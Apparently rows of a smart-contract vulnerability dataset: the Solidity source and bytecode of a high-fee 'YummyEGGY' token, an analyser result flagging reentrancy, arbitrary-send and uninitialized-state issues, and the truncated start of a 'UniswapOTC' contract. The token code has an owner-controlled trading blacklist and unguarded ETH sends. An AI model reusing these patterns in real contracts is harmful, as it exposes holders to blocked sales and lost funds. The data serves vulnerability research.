_tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "t.me/YummyEGGY"; string private constant _symbol = 'YummyEGGY'; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 14; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610529565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610547565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610554565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105db565b005b34801561029b57600080fd5b506102a4610654565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610659565b3480156102f257600080fd5b5061028d6106cf565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610703565b34801561033a57600080fd5b5061028d61076d565b34801561034f57600080fd5b5061035861080f565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61081e565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610841565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610855945050505050565b34801561047e57600080fd5b5061028d610909565b34801561049357600080fd5b5061028d610946565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d2d565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e32565b60408051808201909152600e81526d742e6d652f59756d6d794547475960901b602082015290565b600061053d610536610e5d565b8484610e61565b5060015b92915050565b683635c9adc5dea0000090565b6000610561848484610f4d565b6105d18461056d610e5d565b6105cc85604051806060016040528060288152602001611fc4602891396001600160a01b038a166000908152600460205260408120906105ab610e5d565b6001600160a01b031681526020810191909152604001600020549190611323565b610e61565b5060019392505050565b6105e3610e5d565b6000546001600160a01b03908116911614610633576040805162461bcd60e51b81526020600482018190526024820152600080516020611fec833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610661610e5d565b6000546001600160a01b039081169116146106b1576040805162461bcd60e51b81526020600482018190526024820152600080516020611fec833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e3610e5d565b6001600160a01b0316146106f657600080fd5b47610700816113ba565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074357506001600160a01b038116600090815260036020526040902054610768565b6001600160a01b0382166000908152600260205260409020546107659061143f565b90505b919050565b610775610e5d565b6000546001600160a01b039081169116146107c5576040805162461bcd60e51b81526020600482018190526024820152600080516020611fec833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600981526859756d6d794547475960b81b602082015290565b600061053d61084e610e5d565b8484610f4d565b61085d610e5d565b6000546001600160a01b039081169116146108ad576040805162461bcd60e51b81526020600482018190526024820152600080516020611fec833981519152604482015290519081900360640190fd5b60005b8151811015610905576001600760008484815181106108cb57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108b0565b5050565b6010546001600160a01b031661091d610e5d565b6001600160a01b03161461093057600080fd5b600061093b30610703565b90506107008161149f565b61094e610e5d565b6000546001600160a01b0390811691161461099e576040805162461bcd60e51b81526020600482018190526024820152600080516020611fec833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109fd576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a469030906001600160a01b0316683635c9adc5dea00000610e61565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7f57600080fd5b505afa158015610a93573d6000803e3d6000fd5b505050506040513d6020811015610aa957600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610af957600080fd5b505afa158015610b0d573d6000803e3d6000fd5b505050506040513d6020811015610b2357600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7557600080fd5b505af1158015610b89573d6000803e3d6000fd5b505050506040513d6020811015610b9f57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bd181610703565b600080610bdc61080f565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4757600080fd5b505af1158015610c5b573d6000803e3d6000fd5b50505050506040513d6060811015610c7257600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610cfe57600080fd5b505af1158015610d12573d6000803e3d6000fd5b505050506040513d6020811015610d2857600080fd5b505050565b610d35610e5d565b6000546001600160a01b03908116911614610d85576040805162461bcd60e51b81526020600482018190526024820152600080516020611fec833981519152604482015290519081900360640190fd5b60008111610dda576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610df86064610df2683635c9adc5dea000008461166d565b906116c6565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ea65760405162461bcd60e51b815260040180806020018281038252602481526020018061205a6024913960400191505060405180910390fd5b6001600160a01b038216610eeb5760405162461bcd60e51b8152600401808060200182810382526022815260200180611f816022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f925760405162461bcd60e51b81526004018080602001828103825260258152602001806120356025913960400191505060405180910390fd5b6001600160a01b038216610fd75760405162461bcd60e51b8152600401808060200182810382526023815260200180611f346023913960400191505060405180910390fd5b600081116110165760405162461bcd60e51b815260040180806020018281038252602981526020018061200c6029913960400191505060405180910390fd5b61101e61080f565b6001600160a01b0316836001600160a01b031614158015611058575061104261080f565b6001600160a01b0316826001600160a01b031614155b156112c657601354600160b81b900460ff1615611152576001600160a01b038316301480159061109157506001600160a01b0382163014155b80156110ab57506012546001600160a01b03848116911614155b80156110c557506012546001600160a01b03838116911614155b15611152576012546001600160a01b03166110de610e5d565b6001600160a01b0316148061110d57506013546001600160a01b0316611102610e5d565b6001600160a01b0316145b611152576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116157600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111a357506001600160a01b03821660009081526007602052604090205460ff16155b6111ac57600080fd5b6013546001600160a01b0384811691161480156111d757506012546001600160a01b03838116911614155b80156111fc57506001600160a01b03821660009081526005602052604090205460ff16155b80156112115750601354600160b81b900460ff165b15611259576001600160a01b038216600090815260086020526040902054421161123a57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126430610703565b601354909150600160a81b900460ff1615801561128f57506013546001600160a01b03858116911614155b80156112a45750601354600160b01b900460ff165b156112c4576112b28161149f565b4780156112c2576112c2476113ba565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130857506001600160a01b03831660009081526005602052604090205460ff165b15611311575060005b61131d84848484611708565b50505050565b600081848411156113b25760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137757818101518382015260200161135f565b50505050905090810190601f1680156113a45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113d48360026116c6565b6040518115909202916000818181858888f193505050501580156113fc573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114178360026116c6565b6040518115909202916000818181858888f19350505050158015610905573d6000803e3d6000fd5b6000600a548211156114825760405162461bcd60e51b815260040180806020018281038252602a815260200180611f57602a913960400191505060405180910390fd5b600061148c611824565b905061149883826116c6565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114e057fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153457600080fd5b505afa158015611548573d6000803e3d6000fd5b505050506040513d602081101561155e57600080fd5b505181518290600190811061156f57fe5b6001600160a01b0392831660209182029290920101526012546115959130911684610e61565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561161b578181015183820152602001611603565b505050509050019650505050505050600060405180830381600087803b15801561164457600080fd5b505af1158015611658573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261167c57506000610541565b8282028284828161168957fe5b04146114985760405162461bcd60e51b8152600401808060200182810382526021815260200180611fa36021913960400191505060405180910390fd5b600061149883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611847565b80611715576117156118ac565b6001600160a01b03841660009081526006602052604090205460ff16801561175657506001600160a01b03831660009081526006602052604090205460ff16155b1561176b576117668484846118de565b611817565b6001600160a01b03841660009081526006602052604090205460ff161580156117ac57506001600160a01b03831660009081526006602052604090205460ff165b156117bc57611766848484611a02565b6001600160a01b03841660009081526006602052604090205460ff1680156117fc57506001600160a01b03831660009081526006602052604090205460ff165b1561180c57611766848484611aab565b611817848484611b1e565b8061131d5761131d611b62565b6000806000611831611b70565b909250905061184082826116c6565b9250505090565b600081836118965760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137757818101518382015260200161135f565b5060008385816118a257fe5b0495945050505050565b600c541580156118bc5750600d54155b156118c6576118dc565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118f087611cef565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119229088611d4c565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119519087611d4c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119809086611d8e565b6001600160a01b0389166000908152600260205260409020556119a281611de8565b6119ac8483611e70565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1487611cef565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a469087611d4c565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a7c9084611d8e565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546119809086611d8e565b600080600080600080611abd87611cef565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aef9088611d4c565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a469087611d4c565b600080600080600080611b3087611cef565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119519087611d4c565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611caf57826002600060098481548110611ba057fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c055750816003600060098481548110611bde57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c2357600a54683635c9adc5dea0000094509450505050611ceb565b611c636002600060098481548110611c3757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d4c565b9250611ca56003600060098481548110611c7957fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d4c565b9150600101611b84565b50600a54611cc690683635c9adc5dea000006116c6565b821015611ce557600a54683635c9adc5dea00000935093505050611ceb565b90925090505b9091565b6000806000806000806000806000611d0c8a600c54600d54611e94565b9250925092506000611d1c611824565b90506000806000611d2f8e878787611ee3565b919e509c509a509598509396509194505050505091939550919395565b600061149883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611323565b600082820183811015611498576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611df2611824565b90506000611e00838361166d565b30600090815260026020526040902054909150611e1d9082611d8e565b3060009081526002602090815260408083209390935560069052205460ff1615610d285730600090815260036020526040902054611e5b9084611d8e565b30600090815260036020526040902055505050565b600a54611e7d9083611d4c565b600a55600b54611e8d9082611d8e565b600b555050565b6000808080611ea86064610df2898961166d565b90506000611ebb6064610df28a8961166d565b90506000611ed382611ecd8b86611d4c565b90611d4c565b9992985090965090945050505050565b6000808080611ef2888661166d565b90506000611f00888761166d565b90506000611f0e888861166d565b90506000611f2082611ecd8686611d4c565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122054681811c1bbfbd53afecff3fd2fc787579d943b8e84a8a971689984a0e08cf164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,923
0xb9c3533c1012cbe0c860b4db8fc420444c490e4d
pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapExchange { // Protocol Functions function tokenAddress() external view returns (address); function factoryAddress() external view returns (address); // ERC20 Functions (Keep track of liquidity providers) function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function allowance(address _owner, address _spender) external view returns (uint256); // Pricing functions function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256); function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256); function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256); // Add Liquidity function setup(address token_addr) external; function addLiquidity( uint256 min_liquidity, uint256 max_tokens, uint256 deadline ) external payable returns (uint256); function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256); //Eth/Token Swap //Sell all ETH function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256); function ethToTokenTransferInput( uint256 min_tokens, uint256 deadline, address recipient ) external payable returns (uint256); //Sell some ETH and get refund function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256); function ethToTokenTransferOutput( uint256 tokens_bought, uint256 deadline, address recipient ) external payable returns (uint256); //Token/Eth Swap //Sell all tokens function tokenToEthSwapInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline ) external returns (uint256); function tokenToEthTransferInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient ) external returns (uint256); //Sell some tokens and get refund function tokenToEthSwapOutput( uint256 eth_bought, uint256 max_tokens, uint256 deadline ) external returns (uint256); function tokenToEthTransferOutput( uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient ) external returns (uint256); //Token/Token Swap function tokenToTokenSwapInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr ) external returns (uint256); function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr ) external returns (uint256); function tokenToTokenSwapOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr ) external returns (uint256); function tokenToTokenTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr ) external returns (uint256); //Token/Exchange Swap function tokenToExchangeSwapInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr ) external returns (uint256); function tokenToExchangeTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr ) external returns (uint256); function tokenToExchangeSwapOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr ) external returns (uint256); function tokenToExchangeTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr ) external returns (uint256); } contract UniswapOTC { address public owner; address public exchangeAddress; address public tokenAddress; uint256 public totalClients; address[] public clients; mapping (address => bool) public clientExists; mapping (address => uint256) public clientEthBalances; //Client ETH balance mapping 